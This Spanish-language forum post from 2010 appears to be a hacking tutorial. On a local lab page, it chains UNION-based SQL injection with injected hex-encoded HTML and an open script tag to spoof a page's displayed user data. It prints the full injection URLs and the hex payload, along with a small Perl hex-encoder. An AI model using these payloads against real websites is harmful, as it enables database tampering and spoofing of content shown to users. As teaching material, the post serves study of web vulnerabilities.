Publicado el 26/07/2010 12:07:00 en Seguridad.
SQL Injection + Cross Site Scripting = Fake
Bueno vuelvo con un nuevo aporte sobre un "video-demostración" de Xzite sobre SQLi+XSS.
Estube dandole vueltas al tema y me di cuenta que se puede manipular infomación de cierto modo,al tener una base de datos,un error en la base de datos y un script en php que saque de un "tutorial" o "demostración" de ka0x.
http://192.168.1.2/vuln/SQLi/users.php?id=1+and+1=2+union+select+1,2,3,4--
----------------------------
MySQL Injection TEST
D.O.M LABS
user_id: 1
username: 2
country: 4
----------------------------
Entones podemos leer el código fuente y copiar cierta parte para "imitar" el resulado.
<h2><center><u>MySQL Injection TEST<br>D.O.M LABS</u><br><br><font color='#FF0000'>user_id: </font>1<br><font color='#FF0000'>username: </font>2<br><font color='#FF0000'>country: </font>4<br>
Ahora toca ir modificando los resultados para nuestro favor,pero hay que tomar encuenta que los números que imprime es el 1,2 y 4.
Yo voy a imitar el código fuente desde el número 1,al final de la imitación colocare la etiqueta "<script>" para que oculte lo siguiente del código,asi parece un comentario.
666<br><font color='#FF0000'>username: </font>Diablo<br><font color='#FF0000'>country: </font>Hell<br><script>
Si ya han visto el video de Xzite,sabran que para pasar el código html "faked" deben pasarlo a hexagesimal y ante de imprimirlo en el link poner al principio "0x",sin comillas claro.
http://192.168.1.2/vuln/SQLi/users.php?id=1+and+1=2+union+select+0x3636363C62723E3C666F6E7420636F6C6F723D2723464630303030273E757365726E616D653A203C2F666F6E743E446961626C6F3C62723E3C666F6E7420636F6C6F723D2723464630303030273E636F756E7472793A203C2F666F6E743E48656C6C3C62723E3C7363726970743E,2,3,4--
Y les imprimiria:
----------------------------
MySQL Injection TEST
D.O.M LABS
user_id: 666
username: Diablo
country: Hell
----------------------------
Y bueno para la gente que le deje "paja" entrar en la consola,mysql ..etc
Les dejo un script bastante básico de conversión:
hex.pl
----------------------------
print "Enter string to encode:";
$str=<STDIN>;chomp $str;
$enc = encode($str); print "Hex Encoded value: 0x$enc\n";
sub encode{ #Sub to encode
@subvar=@_;
my $sqlstr =$subvar[0];
@ASCII = unpack("C*", $sqlstr);
foreach $line (@ASCII) {
$encoded = sprintf('%lx',$line);
$encoded_command .= $encoded;
}
return $encoded_command;
}
----------------------------
Bueno aqui finaliza mi "documentación" sobre SQL Injection y Cross Site Scripting dando a lugar un bonito fake,xploit o como deseen denominarlo.
Agradesco a Xzite por haber documentado en su blog el video de "SQLi+XSS by Xzite".
Y a l0ve por su gran documento de "Gran tutorial de inyecciones SQL (MySQL)" y de ahi fue donde saque el código del script en perl.
Tranquilos que no me olvido de los usuarios de DDLR.
Suerte chicos y chicas y espero que les halla gustado mi aporte.

Nick: kozmic


![Amateur [x]](http://www.diosdelared.com/images/rangos/Amateur.jpg)